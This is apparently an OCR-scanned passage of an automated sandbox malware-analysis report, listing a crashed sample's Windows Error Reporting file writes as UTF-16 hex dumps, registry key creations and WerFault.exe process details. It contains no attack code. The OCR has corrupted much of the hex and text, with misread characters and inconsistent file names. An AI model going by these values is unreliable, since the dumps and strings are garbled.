00 42 00 38 00 44 00
36 00 33 00 35 00 34
00 45 00 38 00 3c 00
2f 00 4d 00 49 00 44
00 3e 00

0d 00 0a 00

09 00

3¢ 0053 007900 73
00 74 00 65 00 6d 00
4d 00 61 00 6e 00 75
00 66 00 61 00 63 00
74007500 72 00 65
00 72 00 3e 00 77 00
69 00 75 00 6¢ 00 6f
00 69 00 2c 00 20 00
49 00 6e 00 63 00 2e
00 3c 00 2f 00 53 00
79 00 73 00 74 00 65
00 6d 00 4d 00 61 00
6e 00 75 00 66 00 61
00 63 00 74 00 75 00
72006500 7200 3e
00

0d 00 0a 00

09 00

3¢ 0053 007900 73
00 74 00 65 00 6d 00
50 00 72 00 6f 00 64
00 75 00 63 00 74 00
4e 00 61 00 6d 00 65
00 3e 00 77 00 69 00
75 00 6¢ 00 6f 00 69
00 37 00 2c 00 31 00
3c 00 2f 00 53 00 79
00 73 00 74 00 65 00
6d 00 50 00 72 00 6f
00 64 00 75 00 63 00
7400 4e 00 61 00 6d
00 65 00 3e 00

0d 00 0a 00

09 00

Ascii

<./.D.y.n.am.i.c.S.i.g.n.a.t.

UNEETSE=,

<.S.y.s.te.m.l.nfoorm.a.t.

i.o.n.>.

<M..D.>.A2.AB.5.2.6.A.-

.D.3.8.D.-.4.F.C9.-
.8.B.A.0.-.E.
3.4.B.8.D.6.3.5.4.E.8.
<./.M.I.D.>.

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

<.S.y.s.te.m.M.a.n.u.f.a.c.t success or wait

.urer>w.iulo.i,. .ln.c..
<./.S.y.s.t.e.m.M.a.n.u.f.

a.c.t.ur.e.r.>.

success or wait

success or wait

<.S.y.s.te.m.P.r.o.d.u.c.t.N success or wait

.am.e>w.i.ulo.i7.,.1.</.
S.y.s.t.e.m.P.r.o.d.u.c.t.N.a

.m.e.>.

success or wait

success or wait

Count

1

2

1

Source

Address Symbol

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 120 3c 0042004900 4f <.B..O.S.V.er.s.i.o.n.>.V. success or wait 1 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml 00530056 006500 M

7200730069 006f W.7.1..0.0.V...1.3.9.8.9.4.
00 6e 00 3e 00 56 00 5.

4d 005700370031 4..B.6.4..1.9.0.6.1.9.0.5.3
002e 0030003000 .8.

56 00 2e 00 31 00 33 <./.B..O.S.V.e.r.s.i.o.n.>.
00 39 00 38 00 39 00

34 00 3500 34 00 2e

00 42 00 36 00 34 00

2e 00 31 00 39 00 30

00 36 00 31 00 39 00

30 00 3500 33 00 38

00 3c 00 2f 00 42 00

49 00 4f 00 53 00 56

00 65 00 72 00 73 00

69 00 6f 00 6e 00 3e

00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 6E1E497A unknown
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 82 3c004f00530049 <.0.S.l.ns.tallD.ate.> success orwait 1 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml 006e 0073007400 1.5.7.3.2.5.1.3.6.6.

6100 6¢ 00 6¢c 0044 <./.0.S.l
00610074006500 n.s.tallD.ate>.
3e 00 31 00 3500 37

00 33 00 32 00 35 00

31 00 33 00 36 00 36

00 3c 00 2f 00 4f 00

53 00 49 00 6e 00 73

00 74 00 61 00 6¢ 00

6¢ 00 44 00 61 00 74

00 65 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 102 3c004f00530049 <.0.S.l.n.s.t.allT.i.m.e>>. success or wait 1 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml 006e 0073007400 2.0.1.9.-.0.6.-.2.7.T.1.4.:.4.

6100 6¢c 006¢c 0054 9..2.1.Z</0.S.l.ns.ta.l
00 69 00 6d 00 6500 I.T.i.m.e.>.
3e 00 32 00 30 00 31

00 39 00 2d 00 30 00

36 00 2d 00 32 00 37

00 54 00 31 00 34 00

3a 00 34 00 39 00 3a

00 32 00 31 00 5a 00

3c 00 2f 00 4f 00 53

00 49 00 6e 00 73 00

74 00 61 00 6¢ 00 6¢C

00 54 00 69 00 6d 00

65 00 3e 00
C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 2 6E1E497A unknown
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml
C:\ProgramData\Microsoft\Windo unknown 68 3c00540069006d <.T..me.Z.o.n.e.B.i.a.s.> success or wait 1 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml 00 65 00 5a 00 6f 00  0.8.:.0.0.

6e 006500420069 <. T..m.e.Z.o.n.e.B.
00610073003e00 ias.>.

30 00 38 00 3a 00 30

00 30 00 3c 00 2f 00

54 00 69 00 6d 00 65

00 5a 00 6f 00 6e 00

65 00 42 00 69 00 61

00 73 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 40 3c002f00530079 <./S.y.s.tem.lnfo.rm.a. success orwait 1 6E1E497A unknown
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml 00730074006500 ti.o.n.>.

6d 00 49 00 6e 00 66
00 6f 00 72 00 6d 00
61 00 74 00 69 00 6f
00 6e 00 3e 00

C:\ProgramData\Microsoft\Windo unknown 4 0d 00 Oa 00 success or wait 1 6E1E497A unknown
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo unknown 2 09 00 . success or wait 1 6E1E497A unknown
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

Copyright null 2021 Page 240 of 245



File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Length Value

34

96

36

24

46

26

100

3c 00 53 00 65 00 63
00 75 00 72 00 65 00
42 00 6f 00 6f 00 74
00 53 00 74 00 61 00
74 00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 55 00 45 00 46
00 49 00 53 00 65 00
63 00 75 00 72 00 65
00 42 00 6f 00 6f 00
74 00 45 00 6e 00 61
00 62 00 6¢ 00 65 00
64 00 3e 00 30 00 3c
00 2f 00 55 00 45 00
46 00 49 00 53 00 65
00 63 00 75 00 72 00
65 00 42 00 6f 00 6f
00 74 00 45 00 6e 00
61 00 62 00 6¢ 00 65
00 64 00 3e 00

0d 00 0a 00

09 00

3c 00 2f 00 53 00 65

00 63 00 7500 72 00
65 00 42 00 6f 00 6f

00 74 00 53 00 74 00
61 00 74 00 65 00 3e
00

0d 00 0a 00

09 00

3c 00 49 00 6e 00 74
00 65 00 67 00 72 00
61 00 74 00 6f 00 72
00 3e 00

0d 00 0a 00

09 00

3c 00 46 00 6¢ 00 61
00 67 00 73 00 3e 00
30 00 30 00 30 00 30
00 30 00 30 00 30 00
42 00 3c 00 2f 00 46
00 6¢ 00 61 00 67 00
73 00 3e 00

0d 00 0a 00

09 00

3c 00 2f 00 49 00 6e
00 74 00 65 00 67 00
7200 61 00 74 00 6f
00 72 00 3e 00

0d 00 0a 00

09 00

3c 00 50 00 72 00 6f
00 63 00 65 00 73 00
7300 54 00 69 00 6d
00 65 00 6¢ 00 69 00
6e 00 65 00 73 00 20
00 42 00 61 00 73 00
65 00 54 00 69 00 6d
00 65 00 3d 00 22 00
32 003000320031
00 2d 00 30 00 32 00
2d 00 32 00 33 00 54
00 31 00 38 00 3a 00
30 00 33 00 3a 00 32
00 31 00 5a 00 22 00
3e 00

Ascii

<.S.e.c.ure.B.o.0.t.Sta.t.

ER=N

<.U.E.F.l.S.e.cur.e.B.o.0.t

.E.n.a.b.l.e.d.>.0.
</.U.E.F.L

S.e.c.ur.e.B.o.o.t.E.n.ab.l

e.d.>.

<./.S.e.cur.e.B.o.ot.Sta.

te>.

<.l.nte.g.rato.r>.

<.F.l.a.g.s.>.0.0.0.0.0.0.0.

B.<./F.la.g.s.>.

</l.nte.g.rato.r>.

<.P.ro.c.e.s.s.T.i.m.e.li.n.

es.
.B.a.s.e.T.im.e.=.".2.0.

2o 02228 AL E 0.8,

ZALZT >,

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

Source
Address

6E1E497A

6E1E497A

6E1E497A

6E1E497A

6E1E497A

6E1E497A

6E1E497A

6E1E497A

6E1E497A

6E1E497A

6E1E497A

6E1E497A

6E1E497A

6E1E497A

6E1E497A

6E1E497A

6E1E497A

6E1E497A

6E1E497A

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Length
4

2

258

20

38

38

Value

0d 00 0a 00

09 00

3c 00 50 00 72 00 6f
00 63 00 65 00 73 00
73 002000410073
00 49 00 64 00 3d 00
22 003300350039
00 22 00 20 00 50 00
49 00 44 00 3d 00 22
00 37 00 31 00 34 00
30 00 22 00 20 00 55
00 70 00 74 00 69 00
6d 00 65 00 4d 00 53
00 3d 00 22 00 36 00
37 00 3100 2200 20
00 54 00 69 00 6d 00
65 00 53 00 69 00 6e
00 63 00 65 00 43 00
7200 6500 61 00 74
00 69 00 6f 00 6e 00
4d 00 53 00 3d 00 22
00 36 00 37 00 31 00
22002000 53 00 75
00 73 00 70 00 65 00
6e 00 64 00 65 00 64
00 4d 00 53 00 3d 00
220030002200 20
00 48 00 61 00 6e 00
67 00 43 00 6f 00 75
00 6e 00 74 00 3d 00
220030002200 20
00 47 00 68 00 6f 00
7300 74 00 43 00 6f
00 75 00 6e 00 74 00
3d 00 22 00 30 00 22
00 20 00 43 00 72 00
61 00 73 00 68 00 65
00 64 00 3d 00 22 00
310022

0d 00 0a 00

09 00

3c 00 2f 00 50 00 72
00 6f 00 63 00 65 00
73 00 73 00 3e 00

0d 00 0a 00

09 00

3c 00 2f 00 50 00 72
00 6f 00 63 00 65 00
73 00 73 00 54 00 69
00 6d 00 65 00 6¢ 00
69 00 6e 00 65 00 73
00 3e 00

0d 00 0a 00

09 00

3c 00 52 00 65 00 70
00 6f 00 72 00 74 00
49 00 6e 00 66 00 6f
00 72 00 6d 00 61 00
74 00 69 00 6f 00 6e
00 3e 00

0d 00 0a 00

09 00

Ascii

<.P.r.o.c.es.s. As.ld.="
3.5.9.". .P.1.D.=.".7.1.4.0.".
.U.p.timeM.S.="6.7.1."
.T..m.e.S.i.n.ce.Cre.a.t.

i.o.n.M.S.=.".6.7.1.". .S.u.s.
p.e.n.d.e.dM.S.=
.H.a.n.g.C.o.u.n.t
.G.h.o.s.t.C.o.u.n.t.
.Cras.hed.=

<./.P.ro.c.e.s.s.>.

<./.P.ro.cee.s.s.T..m.e.li
n.e.s.>.

<.R.e.p.o.rt.l.nfoorm.a.t.
i.o.n.>.

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Source

Count Address

1

2

1

6E1E497A

6E1E497A

6E1E497A

6E1E497A

6E1E497A

6E1E497A

6E1E497A

6E1E497A

6E1E497A

6E1E497A

6E1E497A

6E1E497A

6E1E497A

6E1E497A

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERB83D3.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Length
98

4

2

98

40

40

Value

3c 00 47 00 75 00 69
00 64 00 3e 00 62 00
31003100 320030
00 38 00 64 00 36 00
2d 00 31 00 61 00 66
00 39 00 2d 00 34 00
62 00 65 00 65 00 2d
00 39 00 61 00 30 00
65 00 2d 00 36 00 66
00 37 00 30 00 39 00
64 00 31 00 30 00 33
00 30 00 38 00 31 00
3c 00 2f 00 47 00 75
00 69 00 64 00 3e 00

0d 00 0a 00

09 00

3c 0043 00 72 00 65
00 61 00 74 00 69 00
6f 00 6e 00 54 00 69
00 6d 00 65 00 3e 00
32 003000320031
00 2d 00 30 00 32 00
2d 00 32 00 33 00 54
00 31 00 38 00 3a 00
30 00 33 00 3a 00 32
00 31 00 5a 00 3c 00
2f 00 43 00 72 00 65
00 61 00 74 00 69 00
6f 00 6e 00 54 00 69
00 6d 00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 2f 00 52 00 65
00 70 00 6f 00 72 00
74 00 49 00 6e 00 66
00 6f 00 72 00 6d 00
61 00 74 00 69 00 6f
00 6e 00 3e 00

0d 00 0a 00

3c 00 2f 00 57 00 45
00 52 00 52 00 65 00
7000 6f 00 72 00 74
00 4d 00 65 00 74 00
61 00 64 00 61 00 74
00 61 00 3e 00

Ascii Completion

<.G.u.i.d.>.b.1.1.2.0.8.d.6.- success or wait
.1.af9.-4.b.e.e.-9.a.0.e.-.
6.£.7.0.9.d.1.0.3.0.8.1.

<./.G.u.i.d.>.

success or wait

success or wait

<.C.re.a.ti.o.n.T..m.e.>.2. success or wait
0.2.1.-.0.2.-.2.3.T.1.8.:.0.3.
i2.1.Z</Creatio.n.T.

i.m.e.>.

success or wait

success or wait

<./.R.e.p.o.r.tlnfo.rm.a. success or wait
tio.n.>.

success or wait

<./W.E.R.R.e.p.o.r.t. M.e.t. success or wait
a.d.ata.>.

Source

Count Address Symbol

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WER877D.tmp.xml

C:\ProgramData\Microsoft\Windo
ws\WER\ReportQueue\AppCrash_Se
curitelnfo.com_ed254a492c4061e
€93311a4ch68fc7f99a8fd229 bd6d4f40_195b8cch\Report.wer

C:\ProgramData\Microsoft\Windo
ws\WER\ReportQueue\AppCrash_Se
curitelnfo.com_ed254a492c4061e
€93311a4ch68fc7f99a8fd229_bd6d4f40_195b8cch\Report.wer

C:\ProgramData\Microsoft\Windo
ws\WER\ReportQueue\AppCrash_Se
curitelnfo.com_ed254a492c4061e
€93311a4cb68fc7f99a8fd229 bd6d4f40_195b8cch\Report.wer

Registry Activities

Key Created

Key Path

Offset
unknown 4746

unknown 2

unknown 22

unknown 48

Length Value

3c 3f 78 6d 6¢ 20 76

65 72 73 69 6f 6e 3d

22 31 2e 30 22 20 65
6e 63 6f 64 69 6e 67

3d 22 55 54 46 2d 38
222073 74 61 6e 64
61 6¢ 6f 6e 65 3d 22

79 65 73 22 3f 3e 0d

0a 3c 72 6571 20 76
6572 3d 2232 22 3e
0d 0a 20 20 3c 74 6¢
6d 3e 0d 0a 20 20 20
203c 737263 3e 0d
0a 20 20 20 20 20 20
3c 64 65 73 63 3e 0d
0a 20 20 20 20 20 20
2020 3c 6d 61 63 68
3e 0d 0a 20 20 20 20
2020 20 20 20 20 3c
6f 73 3e 0d 0a 20 20

2020 20 20 20 20 20
2020203c 617267
20 6e 6d 3d 22 76 65
72 6d 61 6a 22 20 76
61 6¢ 3d 22 31 30 22
20 2f 3e 0d Oa 20 20
2020 20 20 20 20 20
2020203c 617267
20 6e 6d 3d 22 76 65
72 6d 69 6e 22 20 76
61 6¢ 3d 22 30 22 20
2f 3e 0d Oa 20 20 20
2020 20 20 20 20 20
2020 3c 617267 20
6e 6d 3d 22 76 65 72
62 6¢ 64 22 20 76 61
6c 3d 22

ff fe

56 00 6500 72 00 73
00 69 00 6f 00 6e 00
3d 00 31 00 0d 00 Oa
00

4d 00 65 00 74 00 61
00 64 00 61 00 74 00
61 00 48 00 61 00 73
00 68 00 3d 00 2d 00
310037003200 31
00 30 00 33 00 39 00
39 00 34 00 39 00

Ascii

<?xml version="1.0"
encoding="UTF-8"
standalone="yes"?>..<req
ver="2">.. <tlm>.. <src>
<desc>..
<mach>..
<arg nm="vermaj" val="10"
/>.. <arg
nm="vermin" val="0" />..
<arg nm="verbld" val="

<0s>..

V.ers.i.o.n=1...

M.e.ta.d.ata.H.as.h.=.-
.1.7.2.1.0.3.9.9.4.9.

\REGISTRY\A\{f9aaflfa-e7d1-bela-6c8e-27cc389ce412}\Root\InventoryApplicationFile\PermissionsCheckTestKey

\REGISTRY\A\{f9aaflfa-e7d1-bela-6c8e-27cc389ce412}\Root\InventoryApplicationFile\PermissionsCheckTestKey

\REGISTRY\A\{f9aaflfa-e7d1-bela-6c8e-27cc389ce412}\Root\InventoryApplicationFile\PermissionsCheckTestKey

Completion

success or wait

success or wait

success or wait

success or wait

Completion
success or wait
success or wait

success or wait

Count Address

1

1

178

1

Count Address

1
1
1

Source
Symbol

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

6E1E497A unknown

Source
Symbol

6E2036BF unknown
6E2036BF unknown
6E1E43D1 unknown

Analysis Process: WerFault.exe PID: 5664 Parent PID: 7140

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

Copyright null 2021

10:03:28

23/02/2021

C:\Windows\SysWOW64\WerFault.exe

true

C:\Windows\SysWOW64\WerFault.exe -u -p 7140 -s 1340

0xe40000

434592 bytes
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MDS5 hash: 9E2BBACAD48ECCAS55C0230D63623661B

Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Reputation: high

Analysis Process: WerFault.exe PID: 5472 Parent PID: 7140

General

Start time: 10:03:46

Start date: 23/02/2021

Path: C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\WerFault.exe -u -p 7140 -s 1316
Imagebase: 0xe40000

File size: 434592 bytes

MDS5 hash: 9E2B8BACAD48ECCA55C0230D63623661B
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Disassembly

Code Analysis
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